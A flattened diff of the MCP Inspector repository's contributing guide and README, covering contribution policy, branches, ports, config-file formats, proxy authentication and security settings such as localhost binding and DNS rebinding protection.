Every component follows the same -conventions: "dumb" components that take data and callbacks as props, Mantine -for all UI, theme variants instead of ad-hoc CSS, and a uniform per-file -coverage gate of ≥ 90% on lines, statements, functions, and branches. +We're actively developing **Inspector V2** to address architectural and UX improvements. We invite you to follow progress and participate in the Inspector V2 Working Group in [Discord](https://modelcontextprotocol.io/community/communication), [weekly meetings](https://meet.modelcontextprotocol.io/tag/inspector-v2-wg), and [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-other) (where notes are posted after meetings). -Accepting raw source PRs creates friction: a diff written outside this pipeline -has to be reverse-engineered to fit our component/theme conventions, coverage -gates, and review process — often it's faster to re-derive the change than to -adapt the patch. Capturing your **intent** (a well-formed issue) or the -**prompt** that generated your local change lets us reproduce the work inside -our own workflow and standards, with the quality bar already baked in. +**Current version (V1) contribution scope:** -This policy is about efficiency, not gatekeeping. Your ideas, bug reports, and -prompts directly shape what gets built. And if you'd like to contribute more -than an issue, see -[Want to work on the Inspector with us?](#want-to-work-on-the-inspector-with-us) -below — we'd rather bring you into the workflow than turn you away. +- Bug fixes and MCP spec compliance are actively maintained +- Documentation updates are always appreciated +- Major changes will be directed to V2 development -## Who opens pull requests +## Development Process & Pull Requests -Pull requests against this repository are opened by the **repo maintainers** -only. That includes organization members with write access: being able to push -a branch here isn't the same as being asked to — the constraint is the workflow -described above, not permissions, so the same policy applies whether or not -GitHub would let you click the button. +1. Create a new branch for your changes +2. Make your changes following existing code style and conventions. You can run `npm run prettier-check` and `npm run prettier-fix` as applicable. +3. Test changes locally by running `npm test` and `npm run test:e2e` +4. Update documentation as needed +5. Use clear commit messages explaining your changes +6. Verify all changes work as expected +7. Submit a pull request +8. PRs will be reviewed by maintainers -If you're not a repo maintainer, open a **detailed issue** instead and a -maintainer will pick it up. If you've already prototyped the change locally, -say so in the issue and include the prompt you used (see -[If you've already fixed it locally](#if-youve-already-fixed-it-locally)) — -that's the fastest path from your work to a merged change. +## Code of Conduct -**Every pull request references an issue**, including the maintainers' own. The -PR body's first line is `Closes #<ISSUE_NUMBER>`. Work is tracked on the project -board through issues, so a PR without one is invisible to the board — which is -why a well-formed issue is the useful contribution here, and why writing one is -never wasted effort. +This project follows our [Code of Conduct](CODE_OF_CONDUCT.md). Please read it before contributing. -## How to contribute a bug report or feature request +## Security -Open a well-formed issue describing the bug or the feature you have in mind. -A great issue gives us everything we need to act on it without a round-trip — -see [What makes a good issue or prompt submission](#what-makes-a-good-issue-or-prompt-submission) -below. That's the whole process: you describe the intent, we handle the design -and implementation. +If you find a security vulnerability, please refer to our [Security Policy](SECURITY.md) for reporting instructions. -[**New issue**](https://github.com/modelcontextprotocol/inspector/issues/new/choose) -offers a **Bug report** and a **Feature request** form. Blank issues are -disabled, so pick one of the two. The bug form requires the facts triage needs -first — which client, which version line, which transport; the feature form -asks for the client and the problem you are trying to solve, and targets v2 -only. -(GitHub serves the chooser from the repository's **default branch**, so what -you see when filing is whatever has reached `main`; a form added on `v2/main` -appears at the next milestone merge.) The same chooser links out to the private -security-advisory process, to this policy, and to the specification and SDK -repositories for reports that aren't about the Inspector itself. +## Questions? -### Which version and label? +Feel free to [open an issue](https://github.com/modelcontextprotocol/inspector/issues) for questions or join the MCP Contributor [Discord server](https://modelcontextprotocol.io/community/communication). Also, please see notes above on Inspector V2 Development. -The Inspector is maintained across two versions, each with its own base branch -and version label. File your issue against the version your report or request -targets: +## License -| Version | Base branch | Label | npm tag | -| ------- | ----------- | ----- | ------------ | -| v1 | `v1/main` | `v1` | `v1-latest` | -| v2 | `v2/main` | `v2` | `latest` | - -- **v1** (`v1/main`) is the legacy Inspector — it takes **security fixes - only**, and is published straight from that branch to the `v1-latest` npm - tag (`npx @modelcontextprotocol/inspector@v1-latest`). -- **v2** (`v2/main`) is where all current work happens — when in doubt, target - v2. `v2/main` is the develop branch; it is merged into `main` at milestone - releases, and `main` is what publishes the `latest` npm tag. Nothing targets - `main` directly. - -**Label by version.** Every issue (and the PRs maintainers open for it) must -carry the label matching the target branch — `v1` for `v1/main` and `v2` for -`v2/main`. This mirrors the "Label by version" convention documented in -[`AGENTS.md`](./AGENTS.md). - -## If you've already fixed it locally - -Please don't send a diff or open a pull request. Instead, open an issue that -includes: - -- **The prompt(s) you used** to generate the change — the exact text, so we can - reproduce it through our own workflow. -- **A description of the behavior before and after** your change. -- **How you verified it** (steps you ran, tests you added, what you observed). - -We'll reproduce the change through our pipeline so it lands with the right -conventions, tests, and coverage. - -## What makes a good issue or prompt submission - -A great submission gives us everything we need to act without a round-trip: - -- **Clear reproduction or use case** — exact steps to reproduce a bug, or a - concrete description of the feature and the problem it solves. -- **Expected vs. actual behavior** — what you saw, and what you expected - instead. -- **Affected client** — which incarnation is involved: **Web**, **TUI**, or - **CLI** (or "all" / "core" if it's shared logic). -- **Environment details** when relevant — OS, Node version, the MCP server you - were inspecting, and any relevant config. -- **The exact prompt text**, if you generated a local change and want us to - reproduce it. - -## Want to work on the Inspector with us? - -The issues-only policy is about how **unsolicited patches** are handled — it is -not a closed door. If you want to contribute at a deeper level, either in -general or in a specific area, we'd genuinely like to hear from you: - -- **Join the [MCP Contributor Discord](https://discord.gg/6CSzBmMkjX)** and say - hello in **`#inspector-dev`**. That's where day-to-day Inspector development - is discussed and the fastest way to reach the maintainers. -- **Attend the community calls** at - [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io/) — see - [Contributor Communication](https://modelcontextprotocol.io/community/communication) - for the full set of channels and how they're used. - -From there we can scope a piece of work with you and supervise it through our -workflow — which is also the path toward becoming a maintainer. What we want to -avoid is drive-by diffs that have to be reverse-engineered into our pipeline; -what we want to encourage is sustained, coordinated contribution. - -All participation is governed by the MCP -[Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md). - -## Questions - -If you're unsure how to scope something, open the issue anyway and say so — -we'll help shape it.

Active development happens on **`v2/main`** (the develop branch — all v2 PRs target it), which is merged into **`main`** at milestone releases; `main` is the default branch and holds the latest released v2, published to the npm `latest` tag. The legacy **v1** line lives on **`v1/main`** — security fixes only, published straight from that branch to the npm `v1-latest` tag (`npx @modelcontextprotocol/inspector@v1-latest`).

What that means for adding a dependency (root vs. client, `dependencies` vs. `devDependencies`, and the bundler `external` lists) is in the [`local-dev` skill](./.claude/skills/local-dev/SKILL.md). - -## Project layout - -``` -inspector/ -├── clients/ -│ ├── web/ Web client (Vite + React + Mantine). src/ = browser app; server/ = Node backend -│ ├── cli/ CLI client (tsup bundle, @inspector/core alias) -│ ├── tui/ TUI client (Ink + React, tsup bundle) -│ └── launcher/ Shared launcher — provides the `mcp-inspector` bin, dispatches to web/cli/tui -├── core/ Shared code consumed via the `@inspector/core` alias (no package.json) -├── test-servers/ Composable MCP test servers + fixtures used by integration and smoke tests -├── scripts/ Root build/verify tooling (install cascade, smokes, the verify:* guards) -│ and repo automation run from CI (the dependency, Dependabot-alert and SDK sweeps) -├── docs/ Task-oriented guides — see below -├── specification/ Design/build specifications -├── .claude/skills/ Agent skills: the repo's procedures, invokable by name -├── AGENTS.md Contribution rules for agents AND humans -└── README.md You are here -``` - -Each client has its own README with client-specific detail: -[web](./clients/web/README.md) · [cli](./clients/cli/README.md) · [tui](./clients/tui/README.md) · [launcher](./clients/launcher/README.md). - -## Documentation - -| Guide | Covers | -| --- | --- | -| [Architecture](./docs/architecture.md) | The `@inspector/core` shared package, and the web client's "dumb components" + Storybook approach | -| [Testing and the quality gate](./docs/quality-gate.md) | What each `validate` / `coverage` / `smoke` / `verify:*` script covers, the GitHub-CI-vs-local-gate split, and the supported browsers | -| [Writing a skill](./docs/skill-authoring.md) | How to write a skill description that actually fires, and eval cases that measure it — the case shapes that work, and the tuning loop | -| [Test servers](./docs/test-servers.md) | The composable test servers and the showcase config for every feature — what to run, what to click, and what the broken build did | -| [Publishing](./docs/publishing.md) | What ships in the tarball, the packaging invariants, and `pack:verify` | -| [Docker](./docs/docker.md) | Running the container image — ports, volumes, and where secrets go | -| [Migrating from v1 to v2](./docs/v1-to-v2-migration.md) | CLI flag mapping, `--config` vs. `--catalog`, the Node engine bump, env-var renames | -| [Environment variables](./docs/environment-variables.md) | Every variable that changes runtime behavior — auth, ports, storage, the secret store, logging, proxies — plus the Node TLS variables for a self-signed server | -| [MCP server configuration](./docs/mcp-server-configuration.md) | Which server(s) the Inspector connects to, and the config file format | -| [Reviewing an MCP App](./docs/mcp-app-review.md) | The CLI-first → one-shot-web recipe for automated App-tool review | -| [Smoke-testing an MCP server](./docs/cli-smoke-testing.md) | The connect → list → call → assert workflow for a shell or CI job: `--format json` + `jq`, the exit-code map, and keeping OAuth non-interactive | -| [Launcher and config consolidation](./docs/launcher-config-consolidation-plan.md) | Why the launcher runs a client in-process rather than spawning it | - -## Testing and the quality gate - -Each client self-validates from its own folder; the root scripts chain them. There is **no** aggregate root `test` script. +The inspector runs both an MCP Inspector (MCPI) client UI (default port 6274) and an MCP Proxy (MCPP) server (default port 6277). Open the MCPI client UI in your browser to use the inspector. (These ports are derived from the T9 dialpad mapping of MCPI and MCPP respectively, as a mnemonic). You can customize the ports if needed: ```bash -npm run validate # fast inner loop: format:check + lint + typecheck + build + unit tests -npm run coverage # the per-file ≥90% gate (lines/statements/functions/branches) -npm run local:gate # MANDATORY before pushing — every GitHub CI check, plus two local-only ones +CLIENT_PORT=8080 SERVER_PORT=9000 npx @modelcontextprotocol/inspector node build/index.js ``` -`npm run local:gate` chains every check below, plus the smokes and the Storybook tests. [Testing and the quality gate](./docs/quality-gate.md) owns the stage list and says what each one covers and why two are local-only; [`AGENTS.md`](./AGENTS.md) holds the testing rules themselves. +For more details on ways to use the inspector, see the [Inspector section of the MCP docs site](https://modelcontextprotocol.io/docs/tools/inspector). For help with debugging, see the [Debugging guide](https://modelcontextprotocol.io/docs/tools/debugging). -## Contributing — `AGENTS.md`, `CLAUDE.md`, and the skills +### Servers File Export -**[`AGENTS.md`](./AGENTS.md) is the contract for changing this codebase, and it applies to humans and AI agents alike.** It is not agent-only boilerplate — it holds the project's real **rules**: the version/label conventions, the TypeScript and Mantine/React standards, the testing and coverage requirements, and the mandatory pre-push gate. Read it before making changes, and keep it up to date when you change structure, tooling, or rules. +The MCP Inspector provides convenient buttons to export server launch configurations for use in clients such as Cursor, Claude Code, or the Inspector's CLI. The file is usually called `mcp.json`. -The repo's **procedures** — multi-step recipes with commands and live IDs — live in [`.claude/skills/`](./.claude/skills) instead, one directory per procedure, so they are loaded only when the task calls for them. They are ordinary committed Markdown: an agent that doesn't understand skills can read them, and `AGENTS.md` carries an index of what exists. Claude Code users invoke one by name (`/release`, `/issue-triage`, …). +- **Server Entry** - Copies a single server configuration entry to your clipboard. This can be added to your `mcp.json` file inside the `mcpServers` object with your preferred server name. -`CLAUDE.md` is the entry point [Claude Code](https://claude.com/claude-code) loads automatically; it includes `AGENTS.md`, so agents and humans work from the same source of truth. If you use a different agent that reads `AGENTS.md`, you get the same rules. + **STDIO transport example:** -A key rule worth surfacing here: **all work is issue-driven.** Before starting, find or create a tracking issue on the v2 project board; open PRs against `v2/main` with `Closes #<issue>`. External contributions are accepted as **issues, not pull requests** — see [`CONTRIBUTING.md`](./CONTRIBUTING.md). + ```json + { + "command": "node", + "args": ["build/index.js", "--debug"], + "env": { + "API_KEY": "your-api-key", + "DEBUG": "true" + } + } + ``` + + **SSE transport example:** + + ```json + { + "type": "sse", + "url": "http://localhost:3000/events", + "note": "For SSE connections, add this URL directly in Client" + } + ``` + + **Streamable HTTP transport example:** + + ```json + { + "type": "streamable-http", + "url": "http://localhost:3000/mcp", + "note": "For Streamable HTTP connections, add this URL directly in your MCP Client" + } + ``` + +- **Servers File** - Copies a complete MCP configuration file structure to your clipboard, with your current server configuration added as `default-server`.

The "Server Entry" button copies the configuration that can be added to your existing configuration file, while the "Servers File" button creates a complete configuration file containing the URL for direct use in clients. + +You can paste the Server Entry into your existing `mcp.json` file under your chosen server name, or use the complete Servers File payload to create a new configuration file. + +### Authentication + +The inspector supports bearer token authentication for SSE connections. Enter your token in the UI when connecting to an MCP server, and it will be sent in the Authorization header. You can override the header name using the input field in the sidebar. + +### Security Considerations + +The MCP Inspector includes a proxy server that can run and communicate with local MCP processes. The proxy server should not be exposed to untrusted networks as it has permissions to spawn local processes and can connect to any specified MCP server. + +#### Authentication + +The MCP Inspector proxy server requires authentication by default. When starting the server, a random session token is generated and printed to the console: + +``` +🔑 Session token: 3a1c267fad21f7150b7d624c160b7f09b0b8c4f623c7107bbf13378f051538d4 + +🔗 Open inspector with token pre-filled: + http://localhost:6274/?MCP_PROXY_AUTH_TOKEN=3a1c267fad21f7150b7d624c160b7f09b0b8c4f623c7107bbf13378f051538d4 +``` + +This token must be included as a Bearer token in the Authorization header for all requests to the server. The inspector will automatically open your browser with the token pre-filled in the URL. + +**Automatic browser opening** - The inspector now automatically opens your browser with the token pre-filled in the URL when authentication is enabled. + +**Alternative: Manual configuration** - If you already have the inspector open: + +1. Click the "Configuration" button in the sidebar +2. Find "Proxy Session Token" and enter the token displayed in the proxy console +3. Click "Save" to apply the configuration + +The token will be saved in your browser's local storage for future use. + +If you need to disable authentication (NOT RECOMMENDED), you can set the `DANGEROUSLY_OMIT_AUTH` environment variable: + +```bash +DANGEROUSLY_OMIT_AUTH=true npm start +``` + +--- + +**🚨 WARNING 🚨** + +Disabling authentication with `DANGEROUSLY_OMIT_AUTH` is incredibly dangerous! Disabling auth leaves your machine open to attack not just when exposed to the public internet, but also **via your web browser**. Meaning, visiting a malicious website OR viewing a malicious advertizement could allow an attacker to remotely compromise your computer. Do not disable this feature unless you truly understand the risks. + +Read more about the risks of this vulnerability on Oligo's blog: [Critical RCE Vulnerability in Anthropic MCP Inspector - CVE-2025-49596](https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596) + +--- + +You can also set the token via the `MCP_PROXY_AUTH_TOKEN` environment variable when starting the server: + +```bash +MCP_PROXY_AUTH_TOKEN=$(openssl rand -hex 32) npm start +``` + +#### Local-only Binding + +By default, both the MCP Inspector proxy server and client bind only to `localhost` to prevent network access. This ensures they are not accessible from other devices on the network. If you need to bind to all interfaces for development purposes, you can override this with the `HOST` environment variable: + +```bash +HOST=0.0.0.0 npm start +``` + +**Warning:** Only bind to all interfaces in trusted network environments, as this exposes the proxy server's ability to execute local processes and both services to network access. + +#### DNS Rebinding Protection + +To prevent DNS rebinding attacks, the MCP Inspector validates the `Origin` header on incoming requests. By default, only requests from the client origin are allowed (respects `CLIENT_PORT` if set, defaulting to port 6274). You can configure additional allowed origins by setting the `ALLOWED_ORIGINS` environment variable (comma-separated list): + +```bash +ALLOWED_ORIGINS=http://localhost:6274,http://localhost:8000 npm start +``` + +### Configuration + +The MCP Inspector supports the following configuration settings. To change them, click on the `Configuration` button in the MCP Inspector UI: + +| Setting | Description | Default | +| --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | +| `MCP_SERVER_REQUEST_TIMEOUT` | Client-side timeout (ms) - Inspector will cancel the request if no response is received within this time. Note: servers may have their own timeouts | 300000 | +| `MCP_REQUEST_TIMEOUT_RESET_ON_PROGRESS` | Reset timeout on progress notifications | true | +| `MCP_REQUEST_MAX_TOTAL_TIMEOUT` | Maximum total timeout for requests sent to the MCP server (ms) (Use with progress notifications) | 60000 | +| `MCP_PROXY_FULL_ADDRESS` | Set this if you are running the MCP Inspector Proxy on a non-default address. Example: http://10.1.1.22:5577 | "" | +| `MCP_AUTO_OPEN_ENABLED` | Enable automatic browser opening when inspector starts (works with authentication enabled). Only as environment var, not configurable in browser. | true | + +**Note on Timeouts:** The timeout settings above control when the Inspector (as an MCP client) will cancel requests. These are independent of any server-side timeouts. For example, if a server tool has a 10-minute timeout but the Inspector's timeout is set to 30 seconds, the Inspector will cancel the request after 30 seconds. Conversely, if the Inspector's timeout is 10 minutes but the server times out after 30 seconds, you'll receive the server's timeout error. For tools that require user interaction (like elicitation) or long-running operations, ensure the Inspector's timeout is set appropriately. + +These settings can be adjusted in real-time through the UI and will persist across sessions. + +The inspector also supports configuration files to store settings for different MCP servers. This is useful when working with multiple servers or complex configurations: + +```bash +npx @modelcontextprotocol/inspector --config path/to/config.json --server everything +``` + +Example server configuration file: + +```json +{ + "mcpServers": { + "everything": { + "command": "npx", + "args": ["@modelcontextprotocol/server-everything"], + "env": { + "hello": "Hello MCP!" + } + }, + "my-server": { + "command": "node", + "args": ["build/index.js", "arg1", "arg2"], + "env": { + "key": "value", + "key2": "value2" + } + } + } +} +``` + +#### Transport Types in Config Files + +The inspector automatically detects the transport type from your config file. You can specify different transport types: + +**STDIO (default):** + +```json +{ + "mcpServers": { + "my-stdio-server": { + "type": "stdio", + "command": "npx", + "args": ["@modelcontextprotocol/server-everything"] + } + } +} +``` + +**SSE (Server-Sent Events):** + +```json +{ + "mcpServers": { + "my-sse-server": { + "type": "sse", + "url": "http://localhost:3000/sse" + } + } +} +``` + +**Streamable HTTP:** + +```json +{ + "mcpServers": { + "my-http-server": { + "type": "streamable-http", + "url": "http://localhost:3000/mcp" + } + } +} +``` + +#### Default Server Selection + +You can launch the inspector without specifying a server name if your config has: + +1. **A single server** - automatically selected: + +```bash +# Automatically uses "my-server" if it's the only one +npx @modelcontextprotocol/inspector --config mcp.json +``` + +2. **A server named "default-server"** - automatically selected: + +```json +{ + "mcpServers": { + "default-server": { + "command": "npx", + "args": ["@modelcontextprotocol/server-everything"] + }, + "other-server": { + "command": "node", + "args": ["other.js"] + } + } +} +``` + +> **Tip:** You can easily generate this configuration format using the **Server Entry** and **Servers File** buttons in the Inspector UI, as described in the Servers File Export section above. + +You can also set the initial `transport` type, `serverUrl`, `serverCommand`, and `serverArgs` via query params, for example: + +``` +http://localhost:6274/?transport=sse&serverUrl=http://localhost:8787/sse +http://localhost:6274/?transport=streamable-http&serverUrl=http://localhost:8787/mcp +http://localhost:6274/?transport=stdio&serverCommand=npx&serverArgs=arg1%20arg2 +``` + +You can also set initial config settings via query params, for example: + +``` +http://localhost:6274/?MCP_SERVER_REQUEST_TIMEOUT=60000&MCP_REQUEST_TIMEOUT_RESET_ON_PROGRESS=false&MCP_PROXY_FULL_ADDRESS=http://10.1.1.22:5577 +``` + +Note that if both the query param and the corresponding localStorage item are set, the query param will take precedence. + +### From this repository + +If you're working on the inspector itself: + +Development mode: + +```bash +npm run dev + +# To co-develop with the typescript-sdk package (assuming it's cloned in ../typescript-sdk; set MCP_SDK otherwise): +npm run dev:sdk "cd sdk && npm run examples:simple-server:w" +# then open http://localhost:3000/mcp as SHTTP in the inspector. +# To go back to the deployed SDK version: +# npm run unlink:sdk && npm i +``` + +> **Note for Windows users:** +> On Windows, use the following command instead: +> +> ```bash +> npm run dev:windows +> ``` + +Production mode: + +```bash +npm run build +npm start +``` + +### CLI Mode + +CLI mode enables programmatic interaction with MCP servers from the command line, ideal for scripting, automation, and integration with coding assistants.
